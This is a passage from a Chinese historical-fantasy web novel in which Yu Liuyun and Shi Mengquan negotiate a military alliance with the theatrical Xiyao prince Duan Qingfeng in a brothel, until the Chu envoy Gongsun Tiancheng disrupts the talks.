这更加疯癫了!玉、石二人也摘下面具,惊诧地看着旁边的人——此时明亮了,可以看清屋里大概有四五十个男人,有老有少,个个都鼓掌欢呼。又片刻,正对入口的那边有三扇门同时打开,一阵莺莺燕燕之声,跑进来几十个妙龄女郎,或清雅或艳丽,环肥燕瘦,各有特色。她们跑到了男人们的中间,便是一声声“张大爷”“李公子”的问好,然后,双双对对,搂搂抱抱又都从那三扇门出去了——原来这绿窗小筑说到底还是个妓院! 不一会儿,大厅里的人都得就只剩下玉、石二人和台上的那个鼓手。他还未取下面具来,并且依然保持着端坐在鼓后的姿势。不过,当厅堂如此空阔,玉旒云就可以清楚地感觉到那面具后的两道目光,射在自己的身上,好像要把她看穿一般。 莫非就是段青锋么?她也冷冷地盯住那人。 “哈哈哈哈!”那人笑了起来,伸手摘下了面具,“人说上乘的表演是带着面具的表演,喜怒哀乐不从脸上显露,却从唱腔和身段里看出来,方显高明。而玉大人不用面具,也让人看不出表情,实在高明!高明!” 玉旒云看见了对方的脸——她认出他来了,并不惊讶——她也早该料到了,这人不是旁人,就是当日蓝沧身边的那个随从。 “在下段青锋。”说时紧走几步,一轻身,就翩翩飞跃起来,几个起落来到了玉、石二人的跟前,“玉大人,石将军,方才的戏还看得入眼么?” 他那双冰绿色的眼睛,充满了得意。本来上门来请求结盟,不说低声下气,也应该以礼待人。不过,看段青锋这样目中无人,方才又弄了出“公孙天成舌战群臣”的戏给他们看。玉旒云想,你越是有恃无恐,我越是要煞煞你的锐气,谈判起来,你才不敢漫天要价。因而冷笑道:“太子殿下似乎很喜欢演戏嘛——在西京时,你就扮演蓝大人的小随从,现在又唱一出群魔乱舞给我们看,不知还有什么新鲜节目?” 语气里分明是讽刺,段青锋却不生气,把面具当扇子扇了扇,笑道:“还有好酒好菜和绝色佳人招待二位。不过,我看酒菜玉大人可以享受,佳人嘛,就只好我和石将军共享了,哈哈哈哈!” 谁能料到一国太子竟然说出这样粗鄙之言?不过联想起引玉斋中的裸女图,段青锋此举倒也不算出人意料了。玉旒云不禁红了脸,把段青锋恨得牙痒痒的。 石梦泉赶忙道:“殿下太过客气了。我们冒昧前来,没有打扰您演戏的雅兴吧?” “不打扰!不打扰!”段青锋笑道,“戏就是演给人看的嘛,要是没人看,我就变成自娱自乐了。石将军觉得方才那出《曼珠沙华》可还过得去么?” 石梦泉委实没有看出什么名堂来,礼貌起见,道:“与别不同,似乎别有深意。” 段青锋道:“深意嘛,其实也没有,石将军不必抬举我了。其实曼珠沙华就是彼岸之花,在人间是看不到的。想在歌舞中表现彼岸的情形,只不过是愚妄之举罢了。要说与别不同之处,大概就一条——看戏的人都在戏中,人人在看,人人也在演。” “那也未必。”玉旒云道,“我和梦泉都不知道该唱些什么,所以一直都只在看而已。” 段青锋嘿嘿一笑:“没人说只有参加歌舞的才能被别人看。静止不动,沉默不语,也是一道风景——大人怎么知道别人没有在看你呢?有时我们想着戏要这样演,或者那样演,要按照自己的计划演,不要被别人左右——其实演来演去都是戏罢了,都是被人看而已,大人,你说是不是?” 由种种迹象看来,他们的绿窗小筑之行也是段青锋计划的一部分,现在听他这句话,更加确信无疑。玉旒云平生最恨被人摆布,但到了这地步,恼怒也无用,反而还被对手抓到弱点。她因笑了笑,道:“看来殿下对演戏造诣极高,岂是我等一介武夫能明白的?殿下不是说有美酒佳肴和绝色妖姬么?这些声色犬马的,还容易理解些。” 这次换段青锋略略一愕,既而哈哈大笑:“玉大人果然不快一代名将,豪爽过人。我府里的那些人没见过世面,招待不周。不同这绿窗小筑,专为伺候人而存在。我在这里一尽地主之谊,才不会丢人啊——二位请——” 随着段青锋到了二楼,沿途许多美艳女郎对他们抛送秋波——石梦泉只觉尴尬万分,因而目不斜视,玉旒云则是压着怒火,暗暗盘算如何在谈判上狠狠整段青锋一回,所以面上虽然带着笑容,但是却发出一股冷气,唯有段青锋似乎和这里每一个妓女都颇有交情似的,“珍珍”,“宝宝”地招呼个不停,连四十多岁徐娘半老的鸨母也被他几声“姐姐”哄得开开心心:“殿下今天有贵客呀?想找谁来伺候呢?” “既然是贵客,”段青锋笑道,“那当然是我亲自伺候啦,呵呵!”他又放低了声音,但依然高到足够让周围的人都听见:“其实是让谁出来伺候我都舍不得——她们都是我的心肝宝贝,只能伺候我一个呢!” 鸨母笑得花枝乱颤:“哎呀,太子殿下坏死了,都这样,我还做不做生意?干脆你把大伙儿都娶回家去,凑个三宫六院七十二妃,好不好?” 段青锋道:“好,妈妈你去叫大家准备嫁妆,我和客人谈完了事情就来迎娶大家。”说话时,已经到了一间包房的门口,他打开门请玉、石二人进去。玉旒云发誓有朝一日,她要把这人的一对绿眼睛挖出来。 只是没想到,才一进那包房,段青锋的表情就完全变了。先前的那种玩世不恭当然无存,面上冷冷的犀利竟和玉旒云有几分相似。 “二位想和我西瑶结盟,不知愿许我们什么好处?” 突然变得这样开门见山,玉、石二人不免微微怔了怔。 想当头打我一闷棍?门儿都没有!玉旒云想,我倒看看你究竟有几斤几两!即道:“太子殿下与赵王交往甚密。他许了你什么条件?” 这话针锋相对,问得一点儿也不客气,但段青锋却并没有被震慑住,不答反问道:“赵王爷答应了我什么条件,难道玉大人都能照样答应么?” 玉旒云冷冷道:“那可不一定。” 段青锋道:“怎么?莫非赵王爷毕竟是皇亲国戚,许多事他能办得到,玉大人却办不到么?” 玉旒云在大局上不受人激将:“赵王爷是长辈,有些事当然是他能办到,我却办不到。况且——”虽然不知道赵王到底和西瑶有什么交易,但总和他谋取王位之事有关,就从此处切入:“况且,赵王爷是皇亲国戚,却不是皇上,有些承诺只有不是皇上的人才给的出,身份一变,就不一定会兑现。太子殿下不可不查呀!” “玉大人是什么意思?”段青锋果然接了她的话茬儿。 玉旒云感觉就像是还在山中和那神秘老人下棋,设下套子等对手来钻:“太子何必明知故问呢?你在赵王府给我看到蟠龙玉佩,后来又用那茶叶和穗子引我们来这里——如果你信赵王的本事,也信他的承诺,又为什么要费这些周折?” “话不能这么说。”段青锋道,“石将军是赵王爷的东床快婿,玉大人也几次三番出入赵王府,二位和赵王爷难道不是同坐一条船么?” “既然是同坐一条船,”玉旒云咬住不放,“那殿下和赵王爷都谈好了,何必还要找我们再来一次?是殿下特地想请我们来西瑶游山玩水,还是我们两个会错意,表错情,跑来叨扰殿下了?” 说得这样尖锐又滴水不漏,叫段青锋没有一点空子好钻,这绿眸王子只有笑了笑,道:“玉大人果然厉害,终于见识到了。” 玉旒云道:“过奖过奖,也要棋逢对手才行。”心中却想:你花样不少,但是似乎并没有我想象的厉害。 三人这才各自坐了下来。石梦泉不发一言,他知道在大局上玉旒云有她自己的考量,如果需要商量,她自然会开口,否则,他是责任就是静静地观察与分析,提防那些暗藏的危机。 段青锋并未招人进来伺候,而是亲自给玉、石二人斟了茶,道:“和赵王爷之间的盟约不是我定的,是我父王定的。他所答应的条件,我想玉大人都可以做到——第一,承认我西瑶是和楚国对等的独立国家,第二,对我西瑶运到樾国的一切商品包括茶和盐,不征收关税。” “就这样?”玉旒云实在有点儿吃惊,“那么赵王爷要你们帮他做什么?” “这还需要说么?”段青锋道,“他并没有明讲,但你我心里都知道吧?本来蓝大人北上就是为了要商议我西瑶将如何助赵王爷登上王位,但是才到大青河就遇到了楚樾大战。在瑞津和赵王爷的人碰头之后,正好就帮赵王爷做了第一件事。” “就是用那贡品灵芝来陷害我?”玉旒云问。 段青锋笑笑:“事情不是我们计划的,灵芝也不是贡品,只不过是假装了一回苦主罢了。” 玉旒云冷笑一声:“反正也没把我怎样——殿下不用急着撇清关系。若那灵芝是你的,我还要谢谢你救了梦泉呢!” “是我的功劳我一定不谦虚。”段青锋道,“是我的过失,我也决不推卸责任。” 这话倒挺符合我的脾气,玉旒云想,莫非这人做事跟我倒有几分相似?那么,要揣测他的心思就容易些了。“除了陷害我以外,”她道,“赵王爷还想请你怎么帮他?” 段青锋端着茶杯,到嘴边又停住:“玉大人既然和赵王不是一边儿的,如果我说出他和我父王之间的约定,那岂不就是等于把他出卖给了你?” “如何?” “就是我们未结盟,我已经先给了你好处了。”段青锋道,“这叫什么规矩?” 算盘打得可真够细的!玉旒云想。“怎么没有这个规矩?”她道,“你们西瑶的买卖人这么多,难道不知道买东西之前可以试货的么?你告诉我赵王爷的计划,就算是表一表你结盟的诚意,有何不妥?” 段青锋道:“玉大人这话真比生意人还生意人——我如果没有诚意,两位现在还会平平安安地坐在这儿么?” 莫非还所以埋伏?石梦泉心中一紧,不又地握起了拳头。但是却感觉玉旒云的手在他小臂上轻轻一抚,好像是说:放心,看他敢把我们怎样! 玉旒云也端起了杯子来:“太子殿下说话倒不像是你们西瑶的生意人——买卖不成仁义在。哪儿有用武力强买强卖的?我和石将军平平安安坐在这里是应该的,根本不能表现你们的诚意,只能说明你们按规矩办事。” 段青锋愣了愣,将茶饮了一口,道:“玉大人真是厉害,看来是非逼我说出赵王爷的计划了——不知玉大人这样想要抓住赵王爷,是为了自己呢,还是为了贵国皇上?” “有区别么?”玉旒云挑了挑眉毛。 段青锋笑道:“当然有。如果是为了大人自己,那我对大人的条件就需要详加考虑——你方才不是也说么?有些承诺只有不是皇上的人才给的出,身份一变,就不一定会兑现。不过如果是为了贵国皇上,那就另当别论。” 这是刺探自己有没有意思篡位。玉旒云冷笑一声:“赵王和令尊结盟,想来是用他自己的玺印,我却是带着国书来的,你说我是为了谁?”不想再给段青锋磨嘴皮子的机会,她索性挑明:“我奉旨全权商议结盟之事,我说的话,就是我们樾国皇帝的话。” “既然是这样……”段青锋不得不说了,“其实赵王爷想要的只有两样东西。其一就是这个——” 他将一件事物放在茶几上。玉、石二人都探头来看,只见是一枚箭头,并看不出有稀奇之处。段青锋笑笑,又拿出另外一枚箭头来,乍一望是非常规则的三棱锥形,不过仔细看看就会发现三边并不完全是直线,而是弯成相同的弧度。玉、石二人都认得,这是樾军的箭,系太祖皇帝和能工巧匠在多年的征战之中研制而得——弧线可以增加箭的飞行速度,两军交锋可略占先机,这也是樾军能够所向披靡的原因之一。段青锋拿起先前那平平无奇的箭头,朝樾军的箭头上划了过去。并不见他怎么使力,前者就在后者上留下了一条清晰的刻痕。他再换用后者去划前者,虽然用尽全力,却丝毫无损。 好坚利的箭!玉旒云暗惊。同石梦泉交换了一个眼色:从白虹峡的飞索就可以看出西瑶冶铁技术十分发达,原来用在兵器上是如此厉害!若用这样的铁来铸造樾军的那种箭,什么盔甲盾牌,何在话下?工欲善其事必先利其器。赵王真有眼光。 虽然大开眼界,但是面上不能显露。玉旒云把铸铁的工艺先撇开不问,只道:“那么赵王想要的第二件东西是什么?” “火器。”段青锋这一次并没有拿出实物来。 “火器?是那种藩国火枪么?”玉旒云和石梦泉都见过,曾有人从樾国西方的穿越沙漠带各种稀奇之物来到西京,火枪在贵族子弟中风靡一时。不过,虽然号称射程能有百丈,但实际在三十丈之外命中率为零。而且,每发一次又需要重新装弹,十分费时。遇到精良的骑兵对手,若一发不中,不等第二次射击,敌人早就杀到跟前了。所以,虽然贵族子弟中有拿这藩国玩意儿做装饰的,军队却不曾配备。 段青锋摇了摇头:“不是火枪,是火炮。就是把火枪放大,将其原理应用到投石机上。命中率和杀伤力自然大大提高。” 玉旒云于火枪的原理也不甚明了,却知火药威力巨大,可以用来开山采矿,石梦泉也曾经企图用火药炸毁远平城。只不过,要如何用到投石机上?火枪中才有多少火药,已经使人难以控制,放大之后要多少人才能操纵?会不会把石弹炸得粉碎伤了自己人? 段青锋道:“两位如果有雅兴,改日我可以带你们去见识见识。” 玉旒云依然不显露出感兴趣的样子,只是暗想:赵王急着要装备军队,看来是政变不成就要兵变了,还好从段氏这里得到了消息,否则真遇上什么威力无敌的火炮,还不知要如何对付呢。再往深一层想:赵王老奸巨滑,经营了这许多年,哪怕没有新的兵器,双方交手自己也不见得有十成的胜算。何况,一旦和赵王在国内动武,楚国就要有机可乘了。 “赵王爷向你们要两样东西,他又承诺你们两样好处。”玉旒云道,“而且他所承诺的好处就算是被他当上了皇帝也不会变卦。这交易我看挺公平的,何以殿下要舍弃赵王转而找上我们?” 段青锋将两枚箭头都放在掌心里把玩着:“与赵王谈交易的是我父王,他是个吃斋念佛的人,修炼了一辈子,就是为了戒除‘贪嗔痴慢疑’。依我看,他的确快得道了,两件这么厉害的东西就换了一个声名和一点钱财。我不同,我不是善男信女,我比他贪心。” “那么殿下想要换些什么?” “西狄、东夷、南蛮、北戎。”段青锋道,“中原人眼中我们西瑶和你们樾人都是不入流的野蛮人,就算是名义上承认了我们又如何?我不要那个名声,我也不要那一点点银子,我要……我要的东西恐怕和玉大人也差不多吧?” “哦?”玉旒云听段青锋的口气,是想要成为一方霸主,而且要甩掉蛮夷的帽子,成为一个堂堂正正的天朝上国。她心中暗暗冷笑:什么叫“差不多”?你以为我想要的是什么?自作聪明的家伙。她不动声色,仿佛在研究茶杯上的花纹:“这话你怎么不和赵王说?令尊虽然已经和他谈好了条件,但是又不是不能修改。你再多加点好处给他,他自然也会多加点好处给你,未见得他不能助你完成心愿。” “在赵王眼中,我们西瑶人对他还有什么旁的用处呢?”段青锋道,“诚然,我们有兵,陆军、水师兼备。不过对赵王爷有什么直接的用处?是帮他到漠北去作战,还是帮他发动兵变?恐怕两样他都用不着我们。我西瑶兵队的优势只在樾、楚之争中才能显现。也许,赵王有朝一日打算伐楚,会找我再结盟约。但是那个时候,天下形势如何,谁能估计得到?依我之见,西瑶要逐鹿中原,时机就在此刻。我们要介入樾、楚之争,当然就是和玉大人直接会晤好些。” 樾、楚之争由来已久,石梦泉想,而玉旒云正式挂帅领兵也不过才一年多时间,其中与楚国征战只两次。但是曾几何时,人们一提到两国争端就立刻想到玉旒云了呢? “就是说,殿下想和我联手攻打楚国?”玉旒云戳破那层窗纸。 “大人意下如何?” “哼,”玉旒云冷冷一笑,“当然是好的。不过,我这人也不是善男信女,‘贪嗔痴慢疑’样样都有。我很怕别人在背后捅我刀子——殿下要和我结盟,须得拿出些诚意来。” 段青锋失笑道:“怎么?你方才说要‘试货’也试过了,这还不算有诚意么?” 玉旒云笑了笑,将茶杯放下:“我怎么知道旁人没有试过货呢?殿下府里的那场好戏,会不会假戏真做,除了殿下,又有谁知道?” 玉旒云多疑是出了名的,但百闻不如一见,段青锋这才算是领教了。他怔了怔,忽然哈哈笑道:“果然,除了我,谁也不知道。大人请稍等。” 他站起身来,出门不知吩咐了什么人几句话。未多时,听人在门上轻轻叩了三下,接着,有十个家奴打扮的人鱼贯而入。他们高矮胖瘦不一,进房就分左右两边站好,左边的或笼袖或拈须,一派文士之气,右边的人或叉腰或摩拳,满是武人之风。玉、石二人先觉得莫名其妙,但随后就反应了过来——这十个不就是他们在妙粹阁中见到的那群和公孙天成辩论的西瑶文武大臣么? 玉旒云皱着眉头,看看段青锋又搞什么花样。 段青锋直是笑:“我喜欢的事很多,不过演戏是心头最爱。绿窗小筑上上下下每天都陪着我演。偶尔回到了家里,为怕闷的慌也得找些人陪我消遣才是——这些家奴就是我训练了在府中演戏的。两位看他们今天的表现还不错吧?” 玉旒云眉头拧成个结:真真假假,谁知道这一次说的是不是实情? 段青锋似乎正要利用她的疑心病重来使她耗费心力,以报方才舌战失利之仇。等了片刻,他才道:“来,你们几个,上次怎么扮乞丐哄我父王的?演一次给两位大人看——可要拿出真本事!” “是。”那些人齐声答应。话音才落,仪表堂堂的文官全都形容委顿,气宇轩昂的武将个个弯腰驼背,有的闭上一目,成了独眼龙,有的一脚高一脚低,成了跛子,有的口角流涎,有的双手打颤,七嘴八舌的都唱起了《莲花落》来。其中一个上来拉玉旒云的袖子,道:“行行好吧,这位公子……”虽然他衣衫干净,但玉旒云还是仿佛被一个浑身污秽的乞丐拉住一样,立刻闪身避让。石梦泉则是害怕这一拉暗藏了什么后着,所以一步抢上,挡在两人中间,同时劈手朝那人的腕子上切去。 “哎,石将军——”段青锋袖子轻轻一拂,将那“乞丐”推开一旁,“只不过是演戏嘛,你就当真了?我训练他们不易,要是被你弄成缺胳膊少腿儿的,可不心疼死人了? 石梦泉愣了愣:看来这些人真的是他的家奴了? 玉旒云也想:假若是叫朝廷大臣假扮家奴,或许可以糊弄过去,但是让他们扮演乞丐,那是困难至极的。所以这些人应该确实就是段家的戏子,不过万一……她想起了门口那“谁为袖手旁观客,我亦逢场作戏人”的对联,现在再来看这副对联,和这一锅糨糊似的的情形真是再贴切不过了。罢了罢了,她不能再在这问题上和段青锋纠缠下去,否则会被这荒唐的王子给气死。因道:“殿下 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“不用了。”玉旒云没有功夫陪他胡闹——他敢叫她试,那就是有十足的把握。她才不要让石梦泉像个小丑似的被人耍——若真要下下段青锋的面子,她可以叫这两位督统自己切磋一下。不过,结盟是件大事,凭意气逞一时之快,得不了任何的好处。“太子殿下是有备而来,人都请齐了,估计条件也都拟好了吧?就不用再浪费时间了,直接说个清楚吧。” 段青锋笑道:“大人如此爽快,正和我心意。”他朝那礼部的关和使了个眼色,后者就取出一卷帛书来。 玉旒云接过草草地读了一遍,那上面一条一条写得很清楚:西瑶决不支持赵王篡位,愿将炼铁和制造火炮的技术传授给樾人,并且,愿意出兵帮助樾军夹击楚人。作为交换,樾军灭楚之后,西瑶要分得楚国一半土地与人口。两国当以楚国的云岭和汉河为界,分南北而治。 呵!玉旒云飞快地看了石梦泉一眼,对西瑶人的嘲讽和厌恶尽在其中:仗还没打就先要分割天下了! 只不过,反正是分割楚国,这种慷他人之慨的事情,何乐而不为?到真正打下楚国之时,天下是何形势还说不准呢!玉旒云想道:你们既拿个八字还没一撇的事来叫我许诺,我就许给你们便是! 当下,她哈哈大笑:“难怪太子殿下喜欢爽快的人,原来你自己做事就是这样利索。我看这盟书没有什么不妥,且拿了文房四宝来,这就签字用印吧!” 段青锋嘴里说喜欢人“爽快”,但并未料到玉旒云会“爽快”至斯。他专程把这些文武官员请来,就是为了防备玉、石二人提出种种问题,多几个人也好应对。岂料这以疑心病重而闻名于世的惊雷大将军竟然连半个问题也没提,就直接要求签字用印……他当真喜出望外,愣了愣,才道:“文房四宝早就准备好了。大人请——”从茶几下抽出一个托盘来,上面正是笔墨和印泥。 关和以礼部侍郎之尊亲自磨墨。西瑶的众人眼睛眨也不眨地盯着玉旒云,蘸墨,掭笔,签名,生怕一个不小心叫她玩出了什么诡计,又怕她会突然变卦。不过玉旒云没有丝毫的犹豫,签了名,又立刻拿出印章来。众人的眼睛瞪得更圆了,石梦泉也在边上想低声提醒:如此大事,还是应该三思而后行。可是,箭在弦上,他能如何呢? 大家各有各的心事,都屏息静默。而这时,门外传来“笃笃笃”三声响,就显得分外清晰。西瑶众人都好像突然受了惊吓似的,几乎是同声喝道:“谁?” 外面敲门的人从容自若:“楚国使节公孙天成拜见西瑶世子殿下。” 公孙天成?玉、石二人也吃了一惊:他怎么也到绿窗小筑来了?玉旒云立刻横了段青锋一眼:恐怕这又是他的戏? “我在这里寻欢作乐。”段青锋道,“公孙先生莫非也有雅兴么?” 公孙天成笑道:“寻欢作乐,老朽的年纪稍嫌大了些。不过,既然已经来了,就是怀着舍命陪君子之心啊!”说着,也不等段青锋同意,径自推门而入。一时间,屋里所有人都怔在原地。 玉、石二人和公孙天成碰面这算是第三次,不过光明正大地面对面还是头一回。玉旒云将悬在半空的印章收了回去,两手负在身后,眯起眼睛看着对手。石梦泉知道,她在他的手上吃过亏,越是如此,她才越会显出这种傲气来。 公孙天成看到屋里的情形并没有丝毫的吃惊,显然是早就料到了,只微微一笑,朝众人抱了个团揖,道:“世子殿下,诸位大人,老朽有礼了。” 众人都是怔怔的,先看段青锋如何反应。只见他将案上的盟书抽起,卷好,才说道:“公孙先生既然是要陪我寻欢作乐的,那就请先宽坐,姑娘们少时就到。” 公孙天成笑道:“好,好。”但并不坐,而是朝玉、石二人走了过去,到跟前,夸张地做出个吃惊的表情:“咦?这两位是真的玉大人和石将军,还是段世子的手下?” 玉旒云冷冷一笑:段青锋这假做真时真亦假,实在是让人难以辨别。此时硬说他们是段青锋雇来的戏子而非敌国高官,当然是一种推脱之法。只不过,公孙天成这老狐狸既然能追到绿窗小筑来,应该也猜到段氏脚踩两只船的打算,与其挖空心思地妄想去把他蒙在鼓里,还不如就顺着他,看看有何变化。因道:“先生你说我是真是假?而先生自己究竟真的楚国使节呢,还是又一个太子府的家奴?” 公孙天成拈须道:“呵呵,这一问倒有意思。是啊,我说我是什么人,谁又能证明呢?是是非非非亦是,真真假假假即真。哈哈!” 玉旒云没有接他的话茬儿。 公孙天成道:“不管是真是假,遇在一起就是缘分。不知两位在这里陪世子做什么?莫非也是寻欢作乐么?” “先生说呢?”玉旒云冷笑,“你来陪太子做什么,我们就来陪太子做什么。”她听公孙天成口口声声称呼段青锋为“世子”,那就是还将西瑶当成楚国属国的叫法,她就偏偏要把“太子”两个字挂在嘴边。 公孙天成呵呵笑道:“哦?那看来两位果然是和老朽一样,是来给段世子找乐子的……两位觉得段世子的戏做得如何?” 玉旒云道:“太子殿下的戏写的真是离奇曲折,时时山穷水复,又处处柳暗花明,实在叫人无法猜测其变化。不过好戏也要有好戏子。公孙先生方才在妙粹阁里,究竟是戏假情真还是假戏真做?总之是精彩得很哪!” 公孙天成知道她是在挖苦自己,却不生气,道:“段世子的戏向来都写得精彩。老朽有幸,中秋佳节那天在凉城六合居中看过一次段世子的戏,可真是与众不同啊。” 玉旒云虽然知道那戏是有人搞鬼,但是一直猜想大概是楚国内部主战主和两派为了自相残杀所做,从来没有怀疑到段青锋的头上。不过,现在联系段氏所作所为,那出闹剧连削带打,还真像是他行事的作风。可恶!她咬着嘴唇,忍不住瞪了段青锋一眼——她并不是气这个人把自己编成小丑,而是恼火自己被他算计。在临渊的这一日,已经被他当成猴子一样耍来耍去,不想,其实这场猴戏早在凉城就上演了——也许,段青锋看来,早在西京就开场了! 她的眼神如此冰冷刺骨,段青锋虽然也会显露出桀骜之姿,但是总还带着一种王孙公子的做作——便像有些文人为赋新词强说愁似的。但玉旒云这种锋利而狠毒的眼神是如此自然,就像她整个人就是一个铸炼着怨恨的熔炉,每一丝每一毫的流露都理所当然地会伤人。除了像石梦泉这种和她亲密无间的伙伴,其他人一旦见到她冷下脸来,就会把她所有谈笑风生的表情全都忘记——段青锋这时就不禁打了个寒战。 他不自觉地分辩道:“那出戏……其实……” 还未说出个所以然,已被公孙天成笑着打断了:“那出戏其实段世子可花了不少心机呢。他自己都不惜扮成店小二,在六和居里被人呼来喝去了许久。更让人拍案叫绝的是,他找了两个酷肖玉旒云和石梦泉的人,混在看客之中,故意引得冷将军和他们发生了争执,后来全国通缉他们……当时老朽还想,如果全国通缉玉旒云,那岂不是要引发大恐慌?还好段世子体恤,将内情相告,我们才知道遇上的只是戏子……哎,那戏子莫非就是你们两位么?” 无论怎么回答都占不了口舌上的便宜。玉旒云也不想占口舌上的便宜,所以只沉着脸分析目下的情形:如果公孙天成所说的是真的,段青锋当日正在凉城,后来又去澄清“内情”,想来早就和楚国的各级官员会晤过了。那么,他找了公孙天成来,就决不是想“自抬身价”,而是确实有两头结盟,两边得利,然后作壁上观的打算。那么,现在的方略就要改变,须得极力破坏楚国和西瑶的关系,这样,即使西瑶不和樾国结盟,也不能和楚国联手。 想着,她道:“哦?有这种事?那可真是有趣极了。太子殿下到我国来时曾经假扮成侍从,但好歹我们也将他请到四海阁中招待。你们楚人这是什么待客之道?不过,就算是知道了太子的真实身份,也只会把他请进夷馆吧?” 公孙天成笑道:“西瑶与我楚国本是一家,自家亲戚来访,怎么会住夷馆呢?当然是请进皇宫,设家宴款待。我国太子平易近人,又喜欢结交年轻的朋友,看到了段世子,那可不就像见到了自家兄弟一般?说不定要留段世子在东宫联床夜话呢——夷馆这种地方,大概玉大人和石将军来了,住那里正合适。” 玉旒云想,我到楚国岂要住夷馆?下一次再去,直接将我的大旗插到皇宫的大殿之上!这话却不能出口,只道:“哦?果真亲如自家兄弟么?我怎么觉着好像是嫡出的待那庶出的,凡是出力不讨好的事,都叫那庶出的去做,到头来,却连名分也不肯给人家。” 这比喻很精辟,段青锋所带来的六个官员无不露出赞同之色。 玉旒云看了看段青锋:你还有什么后话?要怎么演下去? 段青锋铁青着一张脸,看来他精心策划的一出戏已经完全偏离了计划,几乎要失控了。“姑娘们呢?”他朝门外呼道,“人都不见,怎么寻欢作乐呀?” 公孙天成轻轻笑:“世子殿下叫了多少位歌妓来?是不是人人有份哪?” 段青锋只是想岔开话题,好争取些时间来寻找对策,便胡乱应道:“自然,莫非公孙先生想要两位不成?” 公孙天成摇手:“非也,非也,老朽一位也用不着,只的担心外面还有许多位大人会没有美人陪伴呢!” 还有许多位?众人都吃了一惊,不知他是何意。公孙天成的脸上有一种老辣的笑意,走到门口,道:“诸位大人,请现身吧!” 他话音落下,只见门外一个跟一个走进来好几位五、六十岁的老臣,满面都是既惊愕又气愤的神情。当先一个胡须灰白的老者望顶段青锋,道:“殿下!老臣素以为殿下只是流连风月之地,做些难登大雅之堂的事,不料竟有如此……如此祸国殃民之举!老臣心痛啊!”说时,两行浊泪已淌了下来。 段青锋面上一阵红一阵白:“老师,这……” 那老者道:“殿下不必再找什么借口来欺瞒我们了。玉大人和石将军就站在我们面前,公孙先生也在这里。您私自给楚国的盟书,臣等都看了。违背祖宗教训,殿下难道不晓得厉害么?” 段青锋在老师的面前,一时词穷。 兵部侍郎华其书道:“话可不能这么说。祖宗的教训只是针对当年的情形,现在天下形势不同了,怎么可以墨守成规?” “放肆!”那老者一声断喝,“你们这些人陪在太子身边,本来应该好好辅佐他,见他有错要及时提醒,现在非但跟他一起疯,你们还怂恿着他疯,到底是何居心?” “什么居心?”黑龙营督统姚益道,“咱们就是为了国家好,为了不做楚人的属国,此心可昭日月。牟太师,你这样反对,大概是想和楚国结盟吧?” “放屁!”牟太师骂道,“祖宗教训,可以为通商而立约,决不可为征战而结盟。为了我西瑶社稷安稳,百姓富足,于任何争端,我国都要保持中立,不偏不倚。你们怂恿太子和樾人结盟,这是要把百姓往火坑里推呀!” 西瑶竟有这种“不结盟”的规矩?玉旒云真是闻所未闻。国之大事在祀与戎,有哪一个国家能两者只虑其一的?尤其,当周边之国都战云密布之时,岂可独善其身?她紧皱着眉头。更叫人想不通的是,公孙天成从何处得来西瑶的内幕?又如何同这些老古董搭上了线?他此来,难道不是为了要和西瑶结盟吗?如今让这些老古董们插了进来,岂不是连楚国也无法和西瑶结盟了? 啊!心中突然一闪:我想要破坏楚国和西瑶的关系,莫非这老狐狸也是一样的想法?他早就知道我和梦泉南下的意图,于是就玩这样的阴谋,来个鱼死网破,两边都结不成盟? 好阴毒!她瞥了公孙天成一眼,后者正镇定且得意地微笑。 45. 第 45 章 就在段青锋会晤程亦风的当天晚上,符雅把盟书带回了皇宫。竣熙是个爽快的少年,听她把前后经过一讲,立刻就加盖了监国太子印。清早,盟书便又传回到程亦风的手上,后者立刻亲自赶往夷馆寻找西瑶使节,指望或许还能截住段青锋。 不过到了那里,管事人说,西瑶的蓝大人天没亮就走了。“程大人倒是来得巧,”那人道,“蓝大人有一封书信留给您,本来小的还要送到您府上去呢!” 程亦风皱着眉头:段青锋走就走吧,不是说叫人留下来等议盟的结果么?这人也走了,可如何是好?只有先看看那信上说什么。 管事的把信递上了,信封上果然写着“程亦风大学士亲启”。他打开一看,却吓得差点儿没摔倒——那信上无他,只摘录了两段《诗经》,一是《关鸠》,一是《蒹葭》,都是写男女情爱之诗,但末尾却有“西瑶段青锋致程亦风大人”一行字,显得暧昧无比。要知道,楚国曾有一度男风盛行,贵胄子弟名流文士皆爱娈童,春日交游,秋日登高,随处可见携手同游的男子。道学正统们气得快要吐血,大骂这“龙阳之癖”、“断袖之好”是洪水猛兽,暗疮毒瘤,批驳的文章铺天盖地。程亦风这样的圣人门徒如何能容忍此等伤风败德之事?得到段青锋这样一封信,虽然心知这荒唐太子作弄他的可能性较大,但还是赶紧跟作贼似的藏起来,生怕被旁边的人瞧见。 他脸红脖子粗地回到家中,符雅还没走,正和公孙天成喝茶,见了他,就道:“大人事情办得如何?公孙先生正和我谈论西瑶风物呢——原来先生他早年也去过西瑶游历呀!” 程亦风哪有心思讲西瑶风物,能把西瑶这个要命的段青锋解决就“阿弥陀佛”。他因气乎乎地将那信往公孙天成面前一放:“我看这个段世子就是耍我们开心,现在不知在哪里躲着看笑话呢!” “怎么,段世子走了?西瑶使节也走了?”公孙天成虽然问,但是并不需要程亦风回答,猜也猜出来了。他展开信,见到“关关雎鸠,在河之洲”时,不禁一愕,再看到后面“所谓伊人,在水一方”就哈哈大笑,道:“倒能折腾!” “可不是!”程亦风恼火这一夜一日的时间白白浪费在段青锋的身上,“折腾得咱们不浅。我看那个玉旒云八成也是假的了。快快把真相说出来,宁可让冷千山闹,也不能再让段青锋捉弄咱们。” 公孙天成摇了摇头,神色严肃:“大人觉得段世子是在戏弄你么?老朽看,他是给你发了一封邀请函。” “邀请函?”程亦风不解,“邀请我做什么?” 符雅凑上来看了看那信:“《关鸠》‘窈窕淑女,君子好求’说的是‘求’,而《蒹葭》‘所谓伊人,在水一方’说的是到何处去求。先生的意思莫非是,段世子要程大人渡过天江去西瑶求他们和我国结盟?” 公孙天成看了符雅一眼:这个女子果然聪慧过人。他就点了点头。 程亦风细品这两段诗,的确能体味出些弦外之音,可是依然不明白:“如先生昨夜所说西瑶也无心就我国真正结盟,只是想占些便宜而已。若如此,骗得我们签了盟书不就行了?何必要我们再上西瑶一趟?况且,先生不是怀疑西瑶是想脚踏两条船么?那么他们只需悄悄和楚樾两国同时结盟就好,应该尽量避免一国知道另一国也参与结盟之事。他如今既叫玉旒云上西瑶去——假如那真是玉旒云的话,又叫我们也上西瑶,就不怕两国使节撞在一处?” 公孙天成淡淡一笑:“大人说的也有道理。两国使节若正面撞上,自然不能似市井之徒争购一物似的,吆喝叫价,若不然,局面难免会闹僵。但是,如果不是正面相遇……” 